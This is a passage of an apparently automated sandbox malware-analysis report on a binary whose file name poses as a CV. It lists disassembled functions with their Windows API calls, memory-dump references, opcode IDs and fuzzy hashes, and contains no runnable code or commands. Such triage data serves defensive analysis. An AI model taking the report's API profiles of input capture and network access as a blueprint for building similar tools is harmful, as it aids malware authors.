                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: KeyboardState$InputMessagePostSend
                                                                  • String ID:
                                                                  • API String ID: 432972143-0
                                                                  • Opcode ID: 23782ee0aff99b9e59fd21e59b1a4294b7a8c49657cf205aeeb579a057f7f909
                                                                  • Instruction ID: 1ac3c5d3efb7f050cd7d9401c13f145ea98985d9833691f31f7681483308cce5
                                                                  • Opcode Fuzzy Hash: 23782ee0aff99b9e59fd21e59b1a4294b7a8c49657cf205aeeb579a057f7f909
                                                                  • Instruction Fuzzy Hash: A9312630E00258AEFF248B648859BFE7BE5EB56710F0801EAE482932D1C77D8F45D761
                                                                  Function 00B54004 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00B54038
                                                                  • __isleadbyte_l.LIBCMT ref: 00B54066
                                                                  • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00B54094
                                                                  • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00B540CA
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                  • String ID:
                                                                  • API String ID: 3058430110-0
                                                                  • Opcode ID: 022ceb25d06dcce8cc1bd1e98f96122eadcbf2a5bb335e8c8b28feafb9d1626a
                                                                  • Instruction ID: d5541b131a1cd9e541974ee5a59165cb3ec1ce3f7043a8b67181a70627d9e36b
                                                                  • Opcode Fuzzy Hash: 022ceb25d06dcce8cc1bd1e98f96122eadcbf2a5bb335e8c8b28feafb9d1626a
                                                                  • Instruction Fuzzy Hash: DB31C130604206AFDB219F75C845BAA7BE5FF41316F2944E8EA618B0D0E731D8D8DB90
                                                                  Function 00B87CA5 Relevance: 6.1, APIs: 4, Instructions: 93COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetForegroundWindow.USER32 ref: 00B87CB9
                                                                    • Part of subcall function 00B65F55: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B65F6F
                                                                    • Part of subcall function 00B65F55: GetCurrentThreadId.KERNEL32 ref: 00B65F76
                                                                    • Part of subcall function 00B65F55: AttachThreadInput.USER32(00000000,?,00B6781F), ref: 00B65F7D
                                                                  • GetCaretPos.USER32(?), ref: 00B87CCA
                                                                  • ClientToScreen.USER32(00000000,?), ref: 00B87D03
                                                                  • GetForegroundWindow.USER32 ref: 00B87D09
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                  • String ID:
                                                                  • API String ID: 2759813231-0
                                                                  • Opcode ID: 164c990b6d24b9439b57be1fa1a236af18b031dd43af56961b82dfb3ee4561ff
                                                                  • Instruction ID: 3093fb298b01a72cf36761a1618c73debd8505e8bae1e48a44c0d07d4536aeff
                                                                  • Opcode Fuzzy Hash: 164c990b6d24b9439b57be1fa1a236af18b031dd43af56961b82dfb3ee4561ff
                                                                  • Instruction Fuzzy Hash: E331F171900108AFDB10EFA9D8859EFBBF9EF58314F1184A6E815E7211DA359E05CBA0
                                                                  Function 00B8F1D7 Relevance: 6.1, APIs: 4, Instructions: 80windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B3B35F
                                                                  • GetCursorPos.USER32(?), ref: 00B8F211
                                                                  • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00B9E4C0,?,?,?,?,?), ref: 00B8F226
                                                                  • GetCursorPos.USER32(?), ref: 00B8F270
                                                                  • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00B9E4C0,?,?,?), ref: 00B8F2A6
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                                  • String ID:
                                                                  • API String ID: 2864067406-0
                                                                  • Opcode ID: da10fc0fda53da5f092439c00c67d45a2c5392dc2cb1760f633545e67aa9ecde
                                                                  • Instruction ID: e3e7acae365e2a794806e1d244e09de07efc30b98be6877eb7909f90e820604b
                                                                  • Opcode Fuzzy Hash: da10fc0fda53da5f092439c00c67d45a2c5392dc2cb1760f633545e67aa9ecde
                                                                  • Instruction Fuzzy Hash: A9219139600018AFCB159F98C899EFEBBF5EF0A710F1444A9F9054B2B1D7309D51DB60
                                                                  Function 00B7431C Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00B74358
                                                                    • Part of subcall function 00B743E2: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00B74401
                                                                    • Part of subcall function 00B743E2: InternetCloseHandle.WININET(00000000), ref: 00B7449E
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Internet$CloseConnectHandleOpen
                                                                  • String ID:
                                                                  • API String ID: 1463438336-0
                                                                  • Opcode ID: 53efd003a22c7061653646c55fd59d4188cd8ada788e72b29c8e9f56c3d89c3b
                                                                  • Instruction ID: 6383de91e14b25d1d59f88a853151dafe29ef66ee38914fc725381c6373600f0
                                                                  • Opcode Fuzzy Hash: 53efd003a22c7061653646c55fd59d4188cd8ada788e72b29c8e9f56c3d89c3b
                                                                  • Instruction Fuzzy Hash: F121F631200601BFDB169F60DC41FBBB7E9FF44711F01802AFA2D97590DB719820AB94
                                                                  Function 00B88A37 Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetWindowLongW.USER32(?,000000EC), ref: 00B88AA6
                                                                  • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00B88AC0
                                                                  • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00B88ACE
                                                                  • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00B88ADC
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$Long$AttributesLayered
                                                                  • String ID:
                                                                  • API String ID: 2169480361-0
                                                                  • Opcode ID: bc56c7a06b4d69e6b0e38fa74f1623ea4d528b8f5cdb49bb829e34b36213603b
                                                                  • Instruction ID: a0688cf502f7e80b3b495210cd1799f30c2a1a14ee000d52995e1f2019d57038
                                                                  • Opcode Fuzzy Hash: bc56c7a06b4d69e6b0e38fa74f1623ea4d528b8f5cdb49bb829e34b36213603b
                                                                  • Instruction Fuzzy Hash: 9D117F31205511AFDB18AB18DC45FBA77D9EF8A320F144199F91AC72E1CF74AC00C794
                                                                  Function 00B78A7F Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • select.WSOCK32(00000000,00000001,00000000,00000000,?), ref: 00B78AE0
                                                                  • __WSAFDIsSet.WSOCK32(00000000,00000001), ref: 00B78AF2
                                                                  • accept.WSOCK32(00000000,00000000,00000000), ref: 00B78AFF
                                                                  • WSAGetLastError.WSOCK32(00000000), ref: 00B78B16
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorLastacceptselect
                                                                  • String ID:
                                                                  • API String ID: 385091864-0
                                                                  • Opcode ID: 6ef606059e895c683a83d2c0e86ba1eec7237e3d614ae5b4e158f7abb5d6200a
                                                                  • Instruction ID: e9be184f59d94e9c3391e6c0f41fcaf4a5ac2d55537ce2531942d58c0772e9f5
                                                                  • Opcode Fuzzy Hash: 6ef606059e895c683a83d2c0e86ba1eec7237e3d614ae5b4e158f7abb5d6200a
                                                                  • Instruction Fuzzy Hash: 14219372A001249FC7159F68C885A9EBBECEF4A310F0081AAF84AD7291DB74DE458F90
                                                                  Function 00B60AA6 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B61E68: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00B60ABB,?,?,?,00B6187A,00000000,000000EF,00000119,?,?), ref: 00B61E77
                                                                    • Part of subcall function 00B61E68: lstrcpyW.KERNEL32(00000000,?,?,00B60ABB,?,?,?,00B6187A,00000000,000000EF,00000119,?,?,00000000), ref: 00B61E9D
                                                                    • Part of subcall function 00B61E68: lstrcmpiW.KERNEL32(00000000,?,00B60ABB,?,?,?,00B6187A,00000000,000000EF,00000119,?,?), ref: 00B61ECE
                                                                  • lstrlenW.KERNEL32(?,00000002,?,?,?,?,00B6187A,00000000,000000EF,00000119,?,?,00000000), ref: 00B60AD4
                                                                  • lstrcpyW.KERNEL32(00000000,?,?,00B6187A,00000000,000000EF,00000119,?,?,00000000), ref: 00B60AFA
                                                                  • lstrcmpiW.KERNEL32(00000002,cdecl,?,00B6187A,00000000,000000EF,00000119,?,?,00000000), ref: 00B60B2E
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: lstrcmpilstrcpylstrlen
                                                                  • String ID: cdecl
                                                                  • API String ID: 4031866154-3896280584
                                                                  • Opcode ID: 584600c94c852e35342658395c46aee98e8bb26b5e301308afd5e850f071a61b
                                                                  • Instruction ID: 039934d180670d51868fc2674131b7aea05e65de980092a6e9b44d7bf1136320
                                                                  • Opcode Fuzzy Hash: 584600c94c852e35342658395c46aee98e8bb26b5e301308afd5e850f071a61b
                                                                  • Instruction Fuzzy Hash: 8311D336210305AFDB25AF24DC45D7A77E9FF46314B8480AAE906CB260EB75D840C7E0
                                                                  Function 00B52F96 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _free.LIBCMT ref: 00B52FB5
                                                                    • Part of subcall function 00B4395C: __FF_MSGBANNER.LIBCMT ref: 00B43973
                                                                    • Part of subcall function 00B4395C: __NMSG_WRITE.LIBCMT ref: 00B4397A
                                                                    • Part of subcall function 00B4395C: RtlAllocateHeap.NTDLL(01250000,00000000,00000001,00000001,00000000,?,?,00B3F507,?,0000000E), ref: 00B4399F
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AllocateHeap_free
                                                                  • String ID:
                                                                  • API String ID: 614378929-0
                                                                  • Opcode ID: 49c2f40f0c69e96c2742adda72ae9f574288747e701eb9b7a806ec132069dbb3
                                                                  • Instruction ID: 14a47471d6a060fa540739cea84a9deab814c07d09a9ba84718806323af51e9a
                                                                  • Opcode Fuzzy Hash: 49c2f40f0c69e96c2742adda72ae9f574288747e701eb9b7a806ec132069dbb3
                                                                  • Instruction Fuzzy Hash: 7411EB31549312ABDF223FB4AC857693BD4EF017A2F2448D5FC499A292DF34CA44E690
                                                                  Function 00B6058F Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00B605AC
                                                                  • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00B605C7
                                                                  • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00B605DD
                                                                  • FreeLibrary.KERNEL32(?), ref: 00B60632
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Type$FileFreeLibraryLoadModuleNameRegister
                                                                  • String ID:
                                                                  • API String ID: 3137044355-0
                                                                  • Opcode ID: 1daa5912c09a0baea349d86aa6098fb1ed2da2bc81a1c78f9fe1111ddce62806
                                                                  • Instruction ID: 777038db70186fbfd1e0aa7c8642c02bfe134dbbd68122f8820c61cf95ca32a1
                                                                  • Opcode Fuzzy Hash: 1daa5912c09a0baea349d86aa6098fb1ed2da2bc81a1c78f9fe1111ddce62806
                                                                  • Instruction Fuzzy Hash: 92217C72900209EFDB20AF92EC89ADBBBF8EF40700F0084A9E51697150DB78EA55DF50
                                                                  Function 00B66713 Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00B66733
                                                                  • _memset.LIBCMT ref: 00B66754
                                                                  • DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00B667A6
                                                                  • CloseHandle.KERNEL32(00000000), ref: 00B667AF
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CloseControlCreateDeviceFileHandle_memset
                                                                  • String ID:
                                                                  • API String ID: 1157408455-0
                                                                  • Opcode ID: 104ecdbf8beb232f03bd26abb5b7f3264b1547c252c429ea80d1f80dc06095d6
                                                                  • Instruction ID: 0dbba416ddeeafaab7fe86f2fa2ae60272eec727bdc04263c1ed23cda5d03f53
                                                                  • Opcode Fuzzy Hash: 104ecdbf8beb232f03bd26abb5b7f3264b1547c252c429ea80d1f80dc06095d6
                                                                  • Instruction Fuzzy Hash: 5A110A729012287AE7205BA5AC4DFABBBBCEF45724F1041DAF905E71C0D6744F80CBA4
                                                                  Function 00B5B1CC Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B5AA62: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B5AA79
                                                                    • Part of subcall function 00B5AA62: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B5AA83
                                                                    • Part of subcall function 00B5AA62: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B5AA92
                                                                    • Part of subcall function 00B5AA62: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B5AA99
                                                                    • Part of subcall function 00B5AA62: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B5AAAF
                                                                  • GetLengthSid.ADVAPI32(?,00000000,00B5ADE4,?,?), ref: 00B5B21B
                                                                  • GetProcessHeap.KERNEL32(00000008,00000000), ref: 00B5B227
                                                                  • HeapAlloc.KERNEL32(00000000), ref: 00B5B22E
                                                                  • CopySid.ADVAPI32(?,00000000,?), ref: 00B5B247
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Heap$AllocInformationProcessToken$CopyErrorLastLength
                                                                  • String ID:
                                                                  • API String ID: 4217664535-0
                                                                  • Opcode ID: 3a94d16da8c1e251f7550c5e0dd38e06898c878dbe096bbb422c03b2791f065b
                                                                  • Instruction ID: 30f9464315fd0b6bd1759651f677d0d57b330c50bd86a4776bb263a9de9706e1
                                                                  • Opcode Fuzzy Hash: 3a94d16da8c1e251f7550c5e0dd38e06898c878dbe096bbb422c03b2791f065b
                                                                  • Instruction Fuzzy Hash: 9B119171A00205EFDB149F94DC95FAEBBE9EF85305F1480ADE943A7250D732AE49CB20
                                                                  Function 00B5B478 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,000000B0,?,?), ref: 00B5B498
                                                                  • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B5B4AA
                                                                  • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B5B4C0
                                                                  • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B5B4DB
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID:
                                                                  • API String ID: 3850602802-0
                                                                  • Opcode ID: 9be5b6567e6d3620eca3b50bf61636c82b7dcc7ff098a9c775b31b7ab8325341
                                                                  • Instruction ID: 3071354302aec6769219592844485029a4a54e25c53c78837de2023dfeaeef45
                                                                  • Opcode Fuzzy Hash: 9be5b6567e6d3620eca3b50bf61636c82b7dcc7ff098a9c775b31b7ab8325341
                                                                  • Instruction Fuzzy Hash: 6E11187A900218FFDB21DFA9C985F9DBBB4FB08710F204091EA05B7295D771AE11DB94
                                                                  Function 00B3B55D Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B3B35F
                                                                  • DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00B3B5A5
                                                                  • GetClientRect.USER32(?,?), ref: 00B9E69A
                                                                  • GetCursorPos.USER32(?), ref: 00B9E6A4
                                                                  • ScreenToClient.USER32(?,?), ref: 00B9E6AF
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Client$CursorLongProcRectScreenWindow
                                                                  • String ID:
                                                                  • API String ID: 4127811313-0
                                                                  • Opcode ID: 3a0691c27b4eb903d5a3f258e011b405b530c510fa9ecfc4c621dc5e0349e899
                                                                  • Instruction ID: 4eccc84bfc726b73d7bd0f2e2ad8d925b9ba053c639b30759033027cb0490596
                                                                  • Opcode Fuzzy Hash: 3a0691c27b4eb903d5a3f258e011b405b530c510fa9ecfc4c621dc5e0349e899
                                                                  • Instruction Fuzzy Hash: 3D110631A00029BFCB10EF98D886DAE77F9EB19304F210496FA12E7151D734EA91CBA5
                                                                  Function 00B6732B Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetCurrentThreadId.KERNEL32 ref: 00B67352
                                                                  • MessageBoxW.USER32(?,?,?,?), ref: 00B67385
                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00B6739B
                                                                  • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00B673A2
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
